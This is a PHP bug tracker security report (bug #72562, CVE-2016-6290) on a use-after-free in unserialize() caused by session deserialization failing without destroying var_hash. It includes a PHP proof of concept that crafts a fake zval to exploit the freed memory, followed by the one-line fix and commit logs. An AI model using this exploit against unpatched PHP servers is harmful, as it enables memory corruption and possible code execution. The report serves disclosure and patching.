php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72562 Use After Free in unserialize() with Unexpected Session Deserialization
Submitted: 2016-07-08 02:50 UTC Modified: 2016-07-25 15:18 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: Session related
PHP Version: 5.5.37 OS:
Private report: No CVE-ID: 2016-6290
 [2016-07-08 02:50 UTC] taoguangchen at icloud dot com
Description:
------------
Use After Free in unserialize() with Unexpected Session Deserialization

```
PS_SERIALIZER_DECODE_FUNC(php_binary) /* {{{ */
{
	...
	PHP_VAR_UNSERIALIZE_INIT(var_hash);

	for (p = val; p < endptr; ) {
		zval **tmp;
		namelen = ((unsigned char)(*p)) & (~PS_BIN_UNDEF);

		if (namelen < 0 || namelen > PS_BIN_MAX || (p + namelen) >= endptr) {
			return FAILURE;
		}
```

The `PHP_VAR_UNSERIALIZE_DESTROY` will not be called when the deserialization fails.

```
#define PHP_VAR_UNSERIALIZE_DESTROY(var_hash_ptr) \
do { \
	/* fprintf(stderr, "UNSERIALIZE_DESTROY == lock: %u, level: %u\n", BG(serialize_lock), BG(unserialize).level); */ \
	if (BG(serialize_lock) || !BG(unserialize).level) { \
		var_destroy(&(var_hash_ptr)); \
		efree(var_hash_ptr); \
	} else { \
		if (!--BG(unserialize).level) { \
			var_destroy(&(var_hash_ptr)); \
			efree((var_hash_ptr)); \
			BG(unserialize).var_hash = NULL; \
		} \
	} \
} while (0)
```

So the `var_hash` will not be destroyed, this means that it is possible to call the php_var_unserialize() multiple times with the `var_hash`. This also means that it is possible to lead to use-after-free in the context of code. The exploitation way has been demonstrated many times before in some fixed and unfixed bugs.

PoC:
```
<?php

ini_set('session.serialize_handler', 'php_binary');
session_start();
$sess = "\x1xi:1;\x2y";
session_decode($sess);
$uns_1 = '{';
$out_1[] = unserialize($uns_1);
unset($out_1);
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
for ($i = 0; $i < 5; $i++) {
  $v[$i] = $fakezval.$i;
}
$uns_2 = 'R:2;';
$out_2 = unserialize($uns_2);
var_dump($out_2);

function ptr2str($ptr)
{
	$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

?>
```

Fix:
```
if (namelen < 0 || namelen > PS_BIN_MAX || (p + namelen) >= endptr) {
+  PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
  return FAILURE;
}
```


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-07-13 06:29 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-07-13 06:29 UTC] stas@php.net
Fix added in security repo as 3798eb6fd5dddb211b01d41495072fd9858d4e32
 [2016-07-19 07:47 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3798eb6fd5dddb211b01d41495072fd9858d4e32
Log: Fix bug #72562 - destroy var_hash properly
 [2016-07-19 07:47 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-07-19 07:53 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3798eb6fd5dddb211b01d41495072fd9858d4e32
Log: Fix bug #72562 - destroy var_hash properly
 [2016-07-19 08:39 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3798eb6fd5dddb211b01d41495072fd9858d4e32
Log: Fix bug #72562 - destroy var_hash properly
 [2016-07-19 08:55 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3798eb6fd5dddb211b01d41495072fd9858d4e32
Log: Fix bug #72562 - destroy var_hash properly
 [2016-07-25 15:18 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2016-6290
 [2016-10-17 10:11 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3798eb6fd5dddb211b01d41495072fd9858d4e32
Log: Fix bug #72562 - destroy var_hash properly
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Dec 21 12:01:31 2024 UTC